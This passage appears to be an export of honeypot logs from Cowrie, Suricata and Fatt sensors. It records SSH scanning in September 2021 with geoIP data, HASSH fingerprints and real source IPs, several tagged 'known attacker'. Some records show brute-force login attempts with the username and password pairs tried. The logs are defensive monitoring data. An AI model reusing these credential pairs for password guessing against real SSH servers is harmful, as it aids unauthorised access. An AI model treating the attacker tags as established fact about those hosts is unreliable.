"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	ID
34636	110.137.195.172	109.199.241.180	Suricata	2021-09-20 15:02:58.333558+03	2021-09-20 15:15:02.156485+03	{"_id": "AQYWA3wBvYTbRNuEgFdH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 143853360374626, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 24040, "dest_port": 22, "timestamp": "2021-09-20T12:02:58.333558Z", "@timestamp": "2021-09-20T12:02:58.333Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	ID
34637	110.137.195.172	109.199.241.180	Fatt	2021-09-20 15:02:58.334396+03	2021-09-20 15:15:02.158486+03	{"_id": "BAYWA3wBvYTbRNuEgVdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 24040, "dest_port": 22, "timestamp": "2021-09-20T12:02:58.334396", "@timestamp": "2021-09-20T12:02:58.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	ID
34638	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:02:59.314214+03	2021-09-20 15:15:02.159485+03	{"_id": "BQYWA3wBvYTbRNuEg1cT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:45512 (192.168.176.2:22) [session: 8c53674b711a]", "session": "8c53674b711a", "@version": "1", "protocol": "ssh", "src_port": 45512, "dest_port": 22, "timestamp": "2021-09-20T12:02:59.314214Z", "@timestamp": "2021-09-20T12:02:59.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
34639	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:02:59.288689+03	2021-09-20 15:15:02.160486+03	{"_id": "BgYWA3wBvYTbRNuEg1cT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [javi/javi] failed", "session": "20f653d5302b", "@version": "1", "password": "javi", "username": "javi", "timestamp": "2021-09-20T12:02:59.288689Z", "@timestamp": "2021-09-20T12:02:59.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	ID
34739	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:03:48.199075+03	2021-09-20 15:15:02.302144+03	{"_id": "1QYXA3wBvYTbRNuEQleV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "36090962a7f1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:48.199075Z", "@timestamp": "2021-09-20T12:03:48.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34641	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:02:59.366396+03	2021-09-20 15:15:02.163486+03	{"_id": "CAYWA3wBvYTbRNuEg1cT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8c53674b711a", "@version": "1", "timestamp": "2021-09-20T12:02:59.366396Z", "@timestamp": "2021-09-20T12:02:59.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
34642	95.85.8.215	109.199.241.180	Suricata	2021-09-20 15:02:59.365744+03	2021-09-20 15:15:02.164487+03	{"_id": "CQYWA3wBvYTbRNuEhFcw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1790073522817879, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45512, "dest_port": 22, "timestamp": "2021-09-20T12:02:59.365744Z", "@timestamp": "2021-09-20T12:02:59.365Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
34643	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:59.319031+03	2021-09-20 15:15:02.166486+03	{"_id": "DAYWA3wBvYTbRNuEhVc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45512, "timestamp": "2021-09-20T12:02:59.319031", "@timestamp": "2021-09-20T12:02:59.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34644	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:03:00.504444+03	2021-09-20 15:15:02.167486+03	{"_id": "FAYWA3wBvYTbRNuEilfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "20f653d5302b", "@version": "1", "duration": 2.381155490875244, "timestamp": "2021-09-20T12:03:00.504444Z", "@timestamp": "2021-09-20T12:03:00.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	ID
34645	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:02:54.293118+03	2021-09-20 15:15:02.169486+03	{"_id": "7wYWA3wBvYTbRNuEb1aI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "65e67a9f70af", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:54.293118Z", "@timestamp": "2021-09-20T12:02:54.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34646	203.176.71.44	109.199.241.180	Fatt	2021-09-20 15:02:54.611165+03	2021-09-20 15:15:02.170485+03	{"_id": "9AYWA3wBvYTbRNuEcVav", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35263, "dest_port": 22, "timestamp": "2021-09-20T12:02:54.611165", "@timestamp": "2021-09-20T12:02:54.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34647	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:02:54.611769+03	2021-09-20 15:15:02.171486+03	{"_id": "9QYWA3wBvYTbRNuEc1Zx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "65e67a9f70af", "@version": "1", "timestamp": "2021-09-20T12:02:54.611769Z", "@timestamp": "2021-09-20T12:02:54.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34648	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:02:56.016565+03	2021-09-20 15:15:02.173486+03	{"_id": "9gYWA3wBvYTbRNuEd1ZZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [stream/stream123] failed", "session": "65e67a9f70af", "@version": "1", "password": "stream123", "username": "stream", "timestamp": "2021-09-20T12:02:56.016565Z", "@timestamp": "2021-09-20T12:02:56.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34649	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:02:57.352047+03	2021-09-20 15:15:02.174516+03	{"_id": "-AYWA3wBvYTbRNuEe1ZC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "65e67a9f70af", "@version": "1", "duration": 3.0591671466827393, "timestamp": "2021-09-20T12:02:57.352047Z", "@timestamp": "2021-09-20T12:02:57.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34650	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:02:54.290155+03	2021-09-20 15:15:02.176485+03	{"_id": "8AYWA3wBvYTbRNuEb1aI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:35263 (192.168.176.2:22) [session: 65e67a9f70af]", "session": "65e67a9f70af", "@version": "1", "protocol": "ssh", "src_port": 35263, "dest_port": 22, "timestamp": "2021-09-20T12:02:54.290155Z", "@timestamp": "2021-09-20T12:02:54.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34651	203.176.71.44	109.199.241.180	Suricata	2021-09-20 15:02:54.611165+03	2021-09-20 15:15:02.177486+03	{"_id": "8gYWA3wBvYTbRNuEcFal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:02:53.956436+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 615799398963220, "payload": 